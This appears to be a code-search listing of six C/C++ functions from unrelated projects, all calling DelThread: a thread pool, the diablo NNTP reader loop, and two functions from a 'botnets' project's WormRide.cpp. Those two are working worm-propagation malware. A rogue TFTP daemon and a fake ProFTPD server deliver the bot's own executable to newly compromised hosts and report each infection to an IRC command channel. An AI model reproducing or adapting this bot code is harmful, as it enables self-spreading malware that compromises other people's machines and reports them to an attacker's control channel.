コード例 #1
0
ファイル: TaskPool.cpp プロジェクト: HaijinW/VirtualDimension
TaskPool::~TaskPool(void)
{
   m_nMinThreadCount = 0;  //Ensure all threads will get destroyed
   m_nMaxThreadCount = 0; //Ensure no more threads are created
   for(int i = 0; i < m_nThreadCount; i++)
      DelThread();

	while(m_nThreadCount > 0) {
		Sleep(1);
		DelThread();
	}
}
コード例 #2
0
ファイル: TaskPool.cpp プロジェクト: HaijinW/VirtualDimension
void TaskPool::SetThreadCount(LONG count)
{
   LONG delta = count - m_nThreadCount;

   if (delta > 0)
   {
      for(LONG i=0; i<delta; i++)
         AddThread();
   }
   else if (delta < 0)
   {
      for(LONG i=delta; i<0; i++)
         DelThread();
   }
}
コード例 #3
0
ファイル: WormRide.cpp プロジェクト: anticlimactech/botnets
void TFTPDHandler(LPVOID dwParam)
{
	char szSendBuffer[MAX_PATH], szType [] = "octet", szFileBuffer[516], szRemoteIpAddress[16], szFilePath[MAX_PATH];
	int iRetVal = 1; 
	FILE* hFile;
	
	if(!(pThread[FindPid("TFTPDaemon")].sServerSock = socket(AF_INET, SOCK_DGRAM, 0)))
		ExitThread(0);
	
	if(!Bind(pThread[FindPid("TFTPDaemon")].sServerSock, 69, true))
		ExitThread(0);
	
	if(!GetModuleFileName(NULL, szFilePath, sizeof(szFilePath)) || !(hFile = fopen(szFilePath, "rb")))
		ExitThread(0);
	
	while(1)
	{ 
		TIMEVAL hTimeVal; 
		hTimeVal.tv_sec		= 5; 
		hTimeVal.tv_usec	= 5000; 
		
		fd_set hFDSET; 
		FD_ZERO(&hFDSET); 
		FD_SET(pThread[FindPid("TFTPDaemon")].sServerSock, &hFDSET); 
		
		memset(szSendBuffer, 0, sizeof(szSendBuffer)); 
		
		if(select(0, &hFDSET, NULL, NULL, &hTimeVal))
		{ 
			SOCKADDR_IN sinSockAddrInClient; 
			int iSockAddrLenght = sizeof(sinSockAddrInClient); 
			
			if(!(recvfrom(pThread[FindPid("TFTPDaemon")].sServerSock, szSendBuffer, sizeof(szSendBuffer), 0, (LPSOCKADDR)&sinSockAddrInClient, &iSockAddrLenght)))
				ExitThread(0); 
			
			_snprintf(szRemoteIpAddress, sizeof(szRemoteIpAddress), inet_ntoa(sinSockAddrInClient.sin_addr));
			
			if(szSendBuffer[0] == 0 && szSendBuffer[1] == 1) 
			{
				char *szTempRequest = szSendBuffer, *szTempType = szSendBuffer;
				
				szTempRequest	+= 2;
				szTempType		+= (strlen(filename2) + 3);
				
				fseek(hFile, 0, SEEK_SET); 
				szFileBuffer[0]	= 0;
				
				szFileBuffer[1]	= 3;
				szFileBuffer[2]	= 0;
				szFileBuffer[3]	= 1;
				
				iRetVal = fread(&szFileBuffer[4], 1, 512, hFile);
				
				sendto(pThread[FindPid("TFTPDaemon")].sServerSock, szFileBuffer, iRetVal + 4, 0, (LPSOCKADDR)&sinSockAddrInClient, iSockAddrLenght);
			}
			else
				if(szSendBuffer[0] == 0 && szSendBuffer[1] == 4) 
				{
					BYTE BFirstPart = szSendBuffer[2], BSeccondPart = szSendBuffer[3];
					
					szFileBuffer[0]	= 0; 
					szFileBuffer[1]	= 3;
					
					if (BSeccondPart == 255) 
					{
						szFileBuffer[2]	= ++BFirstPart;
						szFileBuffer[3]	= BSeccondPart = 0;
					}
					else 
					{
						szFileBuffer[2]	= BFirstPart;
						szFileBuffer[3]	= ++BSeccondPart;
					}
					
					unsigned int iBlocks = (BFirstPart * 256) + BSeccondPart - 1; 
					
					fseek(hFile, iBlocks * 512, SEEK_SET);
					iRetVal = fread(&szFileBuffer[4], 1, 512, hFile); 
					
					sendto(pThread[FindPid("TFTPDaemon")].sServerSock, szFileBuffer, iRetVal + 4, 0, (LPSOCKADDR)&sinSockAddrInClient, iSockAddrLenght);
					
					if (!iRetVal) 
						BOT->cIRC.SendData("PRIVMSG %s :-wormride.tftpd- exploited %s (%s) succesfully\r\n",BOT->cIRC.cConf.cChan.c_str(),ResolveHost(szRemoteIpAddress), szRemoteIpAddress);
				}
				else
					sendto(pThread[FindPid("TFTPDaemon")].sServerSock, "\x00\x05\x00\x04\x6B\x74\x68\x78\x00",9, 0, (LPSOCKADDR)&sinSockAddrInClient, iSockAddrLenght); 
		}
		else 
			continue;
	}
	
	DelThread(FindPid("TFTPDaemon"));
	fclose(hFile);
	ExitThread(0);
}
コード例 #4
0
ファイル: WormRide.cpp プロジェクト: anticlimactech/botnets
void FtpdHandler()
{
	char szBuffer[128], szSendBuffer[128], szCommand[128], szParamter[128], szRemoteIp[128], szFtpdIp[16];
	char szPart1[4], szPart2[4], szPart3[4], szPart4[4], szPort[64], szPort1[64], szPort2[64];
	int iFDMax, iAddressLenght, iPort1, iPort2, i;
	struct fd_set hFDSETMain, hFDSETClient;
	struct sockaddr_in sinSockAddrIn;
	SOCKET sClientSock;
	long lIpAddress;
	
	FD_ZERO(&hFDSETMain);
	FD_ZERO(&hFDSETClient);
	
	if(!(pThread[FindPid("FTPDaemon")].sServerSock = socket(AF_INET, SOCK_STREAM, 0)))
		ExitThread(0);
	
	if(!Bind(pThread[FindPid("FTPDaemon")].sServerSock, usFtpdPort, false))
		ExitThread(0);
	
	FD_SET(pThread[FindPid("FTPDaemon")].sServerSock, &hFDSETMain);
	
	if(!(iFDMax = pThread[FindPid("FTPDaemon")].sServerSock))
		ExitThread(0);
	
	while(pThread[FindPid("FTPDaemon")].sServerSock) 
	{
		hFDSETClient = hFDSETMain;
		
		if (select(iFDMax+1, &hFDSETClient, NULL, NULL, NULL) == SOCKET_ERROR) 
			ExitThread(0);
		
		for(i = 0; i <= iFDMax; i++) 
		{
			memset(szBuffer,	0, sizeof(szBuffer));
			memset(szCommand,	0, sizeof(szCommand));
			
			if (FD_ISSET(i, &hFDSETClient)) 
			{
				if (i == (int)pThread[FindPid("FTPDaemon")].sServerSock) 
				{
					iAddressLenght = sizeof(sinSockAddrIn);
					
					if ((sClientSock = accept(pThread[FindPid("FTPDaemon")].sServerSock, (LPSOCKADDR)&sinSockAddrIn, &iAddressLenght)) != SOCKET_ERROR) 
					{
						FD_SET(sClientSock, &hFDSETMain);
						
						if ((int)sClientSock > iFDMax) 
							iFDMax = sClientSock;
						
						_snprintf(szSendBuffer, sizeof(szSendBuffer), "220 ProFTPD 1.%d.%d Server (ProFTPD Default Installation)\n", RandomNumber(0, 2), RandomNumber(0, 10));
						
						send(sClientSock, szSendBuffer, strlen(szSendBuffer) , 0);
					}
				} 
				else 
				{
					if(!(recv(i, szBuffer, sizeof(szBuffer), 0)))
					{
						FD_CLR((SOCKET)i, &hFDSETMain);
						closesocket(i);
					} 
					else 
					{
						sscanf(szBuffer,"%s %s", szCommand, szParamter);
						
						if(!strcmp(szCommand, "USER"))
							send(i, "331 Password required\n", 22, 0);
						else 
							if(!strcmp(szCommand, "PASS"))
								send(i, "230 User logged in.\n", 20, 0);
							else 
								if(!strcmp(szCommand, "SYST"))
									send(i, "215 UNIX Type: L8\n", 18, 0);
								else 
									if(!strcmp(szCommand, "REST"))
										send(i, "350 Restarting.\n", 16, 0);
									else 
										if(!strcmp(szCommand, "PWD"))
											send(i, "257 \"/\" is current directory.\n", 30, 0);
										else 
											if(!strcmp(szCommand, "TYPE") && !strcmp(szParamter, "A") || !strcmp(szParamter, "I"))
												send(i, "200 Type set to A.\n", 19 , 0);
											else 
												if(!strcmp(szCommand, "PASV")) 
													send(i, "425 Passive not supported on this server\n", 41, 0);
												else 
													if(!strcmp(szCommand, "LIST"))
														send(i, "226 Transfer complete\n", 22, 0);
													else 
														if(!strcmp(szCommand, "PORT")) 
														{
															sscanf(szBuffer, "%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^\n]", szPart1, szPart2, szPart3, szPart4, szPort1, szPort2);
															
															iPort1 = atoi(szPort1);
															iPort2 = atoi(szPort2);
															
															memset(szPort, 0, sizeof(szPort));
															_snprintf(szPort, sizeof(szPort), "%x%x\n", iPort1, iPort2);
															
															lIpAddress = strtoul(szPort, NULL, 16);
															
															_snprintf(szRemoteIp, sizeof(szRemoteIp), "%s.%s.%s.%s", szPart1, szPart2, szPart3, szPart4);
															send(i, "200 PORT command successful.\n", 29 , 0);
														}
														else 
															if (!strcmp(szCommand, "RETR")) 
															{
																send(i, "150 Opening BINARY mode data connection\n", 40 , 0);
																
																if(FtpdEstablishDataSocket(szRemoteIp, (int)lIpAddress))
																{
																	if(FtpdSendFile(sDataSocket))
																		send(i, "226 Transfer complete.\n", 23 , 0);
																	else
																		send(i, "425 Can't open data connection.\n", 32, 0);
																	
																	nFtpdTotalServed++;
																	
																	if(!GetSocketAddress(i, szFtpdIp))
																		strncpy(szFtpdIp, "unknown", sizeof(szFtpdIp));
																	BOT->cIRC.SendData("PRIVMSG %s :-wormride.ftod- %d. send success to %s (%s) succesfully\r\n",BOT->cIRC.cConf.cChan.c_str(),nFtpdTotalServed, ResolveHost(szFtpdIp), szFtpdIp);
																	
																	
																	closesocket(sDataSocket);
																} 
																else 
																	send(i, "425 Can't open data connection.\n", 32, 0);
															}
															else 
																if(!strcmp(szCommand, "QUIT"))
																	send(i, "221 Goodbye.\n", 13, 0);
																else
																	send(i, "501 Option not supported.\n", 26, 0);
																
																memset(szBuffer, 0, sizeof(szBuffer));
					}
				}
			}
		}
	}
	
	
	DelThread(FindPid("FTPDaemon"));
	ExitThread(1);
}
コード例 #5
0
ファイル: reader.c プロジェクト: jpmens/diablo
void
ReaderTask(int fd, const char *id)
{
    time_t dtime = 0;
    time_t ltime = 0;
    time_t itime = 0;
    time_t ftime = 0;
    time_t atime = 0;
    int counter = 0;
    int forceallcheck = 0;
    int check_disconn_counter = 0;

    TFd = fd;

    /*
     * [re]open RTStatus
     */
    RTStatusOpen(RTStatus, ThisReaderFork * DOpts.ReaderThreads + 1, DOpts.ReaderThreads);

    /*
     * Since we setuid(), we won't core.  This is for debugging
     */
    if (CoreDebugOpt || (DOpts.ReaderCrashHandler != NULL &&
			strcasecmp(DOpts.ReaderCrashHandler, "none") != 0)) {
	signal(SIGSEGV, sigSegVReader);
	signal(SIGBUS, sigSegVReader);
	signal(SIGFPE, sigSegVReader);
	signal(SIGILL, sigSegVReader);
    }

    signal(SIGHUP, sigHup);
    signal(SIGUSR1, sigUsr1);

    /*
     * Setup thread for passed pipe
     */
    ResetThreads();
    AddThread("reader", fd, -1, THREAD_READER, -1, 0);

    FD_SET(fd, &RFds);

    /*
     * Open KPDB database for active file
     */

    if ((KDBActive = KPDBOpen(PatDbExpand(ReaderDActivePat), O_RDWR)) == NULL) {
	logit(LOG_CRIT, "Unable to open %s", PatDbExpand(ReaderDActivePat));
	sleep(60);
	exit(1);
    }

    LoadExpireCtl(1);

    /*
     * Only startup connections to backend spools for reader threads
     */
    if (!FeedOnlyServer)
	CheckServerConfig(time(NULL), 1);

    /*
     * Selection core
     */

    while (!TerminatePending || NReadServAct || NumReaders) {
	/*
	 *  select core
	 */
	struct timeval tv;
	fd_set rfds = RFds;
	fd_set wfds = WFds;
	fd_set read_only_to_find_eof_fds;
	int i, sel_r;

	if (TerminatePending) {
	    if (TerminateTime == 0)
		TerminateTime = time(NULL) + 2;
	    if (TerminateTime < time(NULL) || !NumReaders)
		CanTerminate = 1;
	}

	/*
	 *  Get next scheduled timeout, no more then 2 seconds
	 *  (x 10 counter counts = 20 seconds max for {d,i,f}time 
	 *  check)
	 *
	 * If we are terminating, then speed up the select to clear
	 * out the connections.
	 *
	 */

	if (TerminatePending)
	    NextTimeout(&tv, 50);
	else
	    NextTimeout(&tv, 2 * 1000);

	stprintf("%s readers=%02d spoolsrv=%d/%d postsrv=%d/%d",
	    id,
	    NumReaders,
	    NReadServAct, NReadServers, 
	    NWriteServAct, NWriteServers
	);

	/* Check for disconnected clients every 50 times through the loop */
	FD_ZERO(&read_only_to_find_eof_fds);
	if (++check_disconn_counter == 50) {
	    for (i = 0; i < MaxFds; ++i) {
		if (FD_ISSET(i, &wfds) && (!(FD_ISSET(i, &rfds)))) {
		    FD_SET(i, &rfds);
		    FD_SET(i, &read_only_to_find_eof_fds);
		}
	    }
	    check_disconn_counter = 0;
	}

#if USE_AIO
	AIOUnblockSignal();
#endif
	sel_r = select(MaxFds, &rfds, &wfds, NULL, &tv);
#if USE_AIO
	AIOBlockSignal();
#endif

	gettimeofday(&CurTime, NULL);

	if(sel_r < 0 && errno != EINTR)
	    logit(LOG_CRIT,
		  "select error: %s (rfds=0x%x, wfds=0x%x)",
		  strerror(errno),
		  rfds,
		  wfds);

	/*
	 * select is critical, don't make unnecessary system calls.  Only
	 * test the time every 10 selects (20 seconds worst case), and
	 * only check for a new server configuration file every 60 seconds 
	 * after the initial load.  This may rearrange THREAD_SPOOL and
	 * THREAD_POST threads.
	 *
	 * We do not startup spool/post servers for feed-only forks
	 *
	 * However, flush overview cache even for feed-only forks.
	 */

	if (FeedOnlyServer <= 0) {
	    if (++counter == 10) {
		time_t t = CurTime.tv_sec;
		if (ltime) {
		    dtime += t - ltime;
		    itime += t - ltime;
		    ftime += t - ltime;
		    atime += t - ltime;
		}

		/*
		 * Check for server config change once a minute
		 */
		if (dtime < -5 || dtime >= 5) {
		    if (!TerminatePending)
			CheckServerConfig(t, ServersTerminated);
		    dtime = 0;
		}

		/*
		 * Flush overview every 30 seconds to allow dexpireover to work
		 */
		if (ftime < -5 || ftime >= 30) {
		    FlushOverCache();
		    LoadExpireCtl(0);
		    ftime = 0;
		}

		/*
		 * Poll all active descriptors once every 5 minutes.  This
		 * will work around a linux embrionic close bug that
		 * doesn't wakeup select(), and is used to idle-timeout
		 * connections. XXX
		 */
		if (itime < -5 || itime >= 300) {
		    rfds = RFds;
		    itime = 0;
		}

		/*
		 * Force a check all of FD's every 30 seconds to handle
		 * idle and session timeouts
		 */
		if (atime < -5 || atime >= 30) {
		    forceallcheck = 1;
		    atime = 0;
		}
		ltime = t;
		counter = 0;
	    }
	} else {
	    /*
	     * For a feed-only server, we only flush the overview FD
	     * cache every 5 minutes, and with a greater granularity.
	     * It should cycle much faster than that normally, and this
	     * is to prevent idle feed-only forks from keeping locks.
	     *
	     */

	    if (++counter == 10) {
		time_t t = CurTime.tv_sec;
		if (ltime) {
		    ftime += t - ltime;
		}

		if (ftime < -5 || ftime >= 300) {
		    FlushOverCache();
		    ftime = 0;
		}
		ltime = t;
		counter = 0;
	    }
	}

	for (i = 0; i < MaxFds; ++i) {
	    if (FD_ISSET(i, &rfds) && FD_ISSET(i, &read_only_to_find_eof_fds)) {
		char junk_byte;
		int ret_val;
		/*
		 * This FD is not marked for reading, but select() claims
		 * it has something to say. We don't actually want to read
		 * from it, but we do want to close it if the associated
		 * connection is dead.
		 */
		FD_CLR(i, &rfds);

		/* Use recv() with MSG_PEEK to see if it's closed.
		 * We shouldn't block because we're O_NONBLOCK.
		 */
		ret_val = recv(i, &junk_byte, 1, MSG_PEEK);

		/* If ret_val is zero, this means the socket is closed.
		 * Blast it. Otherwise, ignore it.
		 */
		if(ret_val == 0) {
		    ForkDesc *desc;
		    if((desc = FindThread(i, -1)) != NULL) {
			Connection *conn = desc->d_Data;

			if(conn) {
			    NNTerminate(conn);
			    DeleteConnection(conn);
			}
			DelThread(desc);
		    }
		}
	    }
	}

	for (i = 0; i < MaxFds; ++i) {
	    if (forceallcheck || TerminatePending ||
		FD_ISSET(i, &rfds) || FD_ISSET(i, &wfds)) {
		ForkDesc *desc;

		if ((desc = FindThread(i, -1)) != NULL) {
		    Connection *conn = desc->d_Data;

		    if (conn) {
			/*
			 * handle output I/O (optimization)
			 */

			MBFlush(conn, &conn->co_TMBuf);
			conn->co_FCounter = 0;
		    } 

		    /*
		     * Function dispatch
		     */

		    switch(desc->d_Type) {
		    case THREAD_READER:
			if (FD_ISSET(i, &rfds) || FD_ISSET(i, &wfds))
			    HandleReaderMsg(desc);
			break;
		    case THREAD_NNTP:		/* client	  */
			conn->co_Func(conn);
			if (conn->co_Auth.dr_ResultFlags & DR_REQUIRE_DNS) {
			    /* Go back to parent for DNS check */
			    conn->co_Auth.dr_Code = 0;
			    conn->co_TMBuf.mh_WEof = 1;
			}
			break;
		    case THREAD_SPOOL:		/* spool server	  */
		    case THREAD_POST:		/* posting server */
			conn->co_Func(conn);
			LogServerInfo(conn, TFd);
			break;
		    default:
			/* panic */
			break;
		    }

		    /*
		     * do not call MBFlush after the function because the
		     * function may be waiting for write data to drain and
		     * we don't want to cause write data to drain here and
		     * then not get a select wakeup later.
		     *
		     * check for connection termination
		     */

		    if (conn) {
			int idleTimeout = 0;
			if (conn->co_Auth.dr_ReaderDef) {
			    if (conn->co_Auth.dr_ReaderDef->rd_IdleTimeout &&
				    conn->co_LastActiveTime +
				    conn->co_Auth.dr_ReaderDef->rd_IdleTimeout <=
				    CurTime.tv_sec) {
				logit(LOG_INFO, "timeout idle %s",
				    conn->co_Auth.dr_Host);
				MBLogPrintf(conn,
				    &conn->co_TMBuf,
				    "400 %s: Idle timeout.\r\n",
				    conn->co_Auth.dr_VServerDef->vs_HostName
				);
				idleTimeout = 1;
				NNTerminate(conn);
			    }
			    if (conn->co_Auth.dr_ReaderDef->rd_SessionTimeout &&
				    conn->co_SessionStartTime +
				    conn->co_Auth.dr_ReaderDef->rd_SessionTimeout <=
				    CurTime.tv_sec) {
				logit(LOG_INFO, "timeout session %s",
				    conn->co_Auth.dr_Host);
				MBLogPrintf(conn,
				    &conn->co_TMBuf,
				    "400 %s: Session timeout.\r\n",
				    conn->co_Auth.dr_VServerDef->vs_HostName
				);
				idleTimeout = 1;
				NNTerminate(conn);
			    }
			}
			if ((!conn->co_Auth.dr_Code &&
				desc->d_Type == THREAD_NNTP) ||
			    idleTimeout ||
			    (conn->co_RMBuf.mh_REof && 
			    conn->co_TMBuf.mh_WEof &&
			    conn->co_TMBuf.mh_MBuf == NULL) ||
			    (TerminatePending &&
					!(conn->co_Flags & COF_MAYNOTCLOSE))
			) {
			    DeleteConnection(conn);
			    DelThread(desc);
			}
		    }
		}
	    }
	}
	forceallcheck = 0;
	(void)ScanTimers(1, 0);
	if (CanTerminate)
	    break;
    }
    RTStatusClose();
    KPDBClose(KDBActive);
    exit(0);
}
コード例 #6
0
ファイル: reader.c プロジェクト: jpmens/diablo
void
HandleReaderMsg(ForkDesc *desc)
{
    int r;
    int recv_fd;
    DnsRes  dres;

    if ((r = RecvMsg(desc->d_Fd, &recv_fd, &dres)) == sizeof(DnsRes)) {
	if (recv_fd >= MAXFDS) {
	    logit(LOG_WARNING, "fd too large %d/%d, increase MAXFDS for select. Closing fd", recv_fd, MAXFDS);
	    /*
	     * Tell the main server that we are done with the connection
	     */
	    fcntl(TFd, F_SETFL, 0);
	    SendMsg(TFd, recv_fd, &dres);
	    fcntl(TFd, F_SETFL, O_NONBLOCK);
	} else if (recv_fd >= 0) {
	    ForkDesc *ndesc;
	    Connection *conn;
	    char vsbuf[11];
	    char hsbuf[31];

	    if (ReadAccessCache() == 1) {
		ScanThreads(THREAD_NNTP, UpdateAuthDetails);
		ScanThreads(THREAD_SPOOL, UpdateAuthDetails);
		ScanThreads(THREAD_READER, UpdateAuthDetails);
		ScanThreads(THREAD_SPOOL, UpdateAuthDetails);
		ScanThreads(THREAD_FEEDER, UpdateAuthDetails);
		ClearOldAccessMap();
	    }
	    SetAuthDetails(&dres, dres.dr_ReaderName);

	    ndesc = AddThread("client", recv_fd, -1, THREAD_NNTP, makeReaderSlot(), 0);
	    ++NumReaders;
	    if (DebugOpt)
		printf("add thread fd=%d\n", recv_fd);

	    FD_SET(ndesc->d_Fd, &WFds);	/* will cause immediate effect */
	    conn = InitConnection(ndesc, &dres);
	    if (conn->co_Auth.dr_Flags & DF_FEED)
		conn->co_Flags |= COF_SERVER;

	    snprintf(vsbuf, sizeof(vsbuf), "%s", conn->co_Auth.dr_VServerDef->vs_Name);

	    snprintf(hsbuf, sizeof(hsbuf), "%s%s%s%s%s",
		*conn->co_Auth.dr_AuthUser ? conn->co_Auth.dr_AuthUser : "",
		*conn->co_Auth.dr_AuthUser ? "/" : "",
		*conn->co_Auth.dr_IdentUser ? conn->co_Auth.dr_IdentUser : "",
		*conn->co_Auth.dr_IdentUser ? "@" : "",
		conn->co_Auth.dr_Host);
	    RTStatusBase(conn->co_Desc->d_Slot, "ACTV %-10s %-30s", vsbuf, hsbuf);

	    StatusUpdate(conn, "(startup)");
	    if (conn->co_Auth.dr_ResultFlags & DR_REQUIRE_DNS)
		NNAuthDone(conn);
	    else
		NNWriteHello(conn);
	} else {
	    if (DebugOpt)
		printf("recvmsg(): EOF1\n");
	    DelThread(desc);
	    TerminatePending = 1;
	}
    }

    /*
     * If recv error, check errno.  If temporary error,
     * leave r negative (select loop).  Set r = 0 to 
     * terminate.
     */

    if (r != sizeof(DnsRes) && r != -1) {
	if (DebugOpt)
	    printf("recvmsg(): Bad size read from RecvMsg\n");
    }
    if (r < 0) {
	if (errno != EINTR &&
	    errno != EWOULDBLOCK &&
	    errno != EAGAIN
	) {
	    r = 0;
	}
    }

    /*
     * EOF (or error)
     */

    if (r == 0) {
	if (DebugOpt)
	    printf("recvmsg(): EOF/error from parent %s\n", strerror(errno));
	DelThread(desc);
	TerminatePending = 1;
    }
}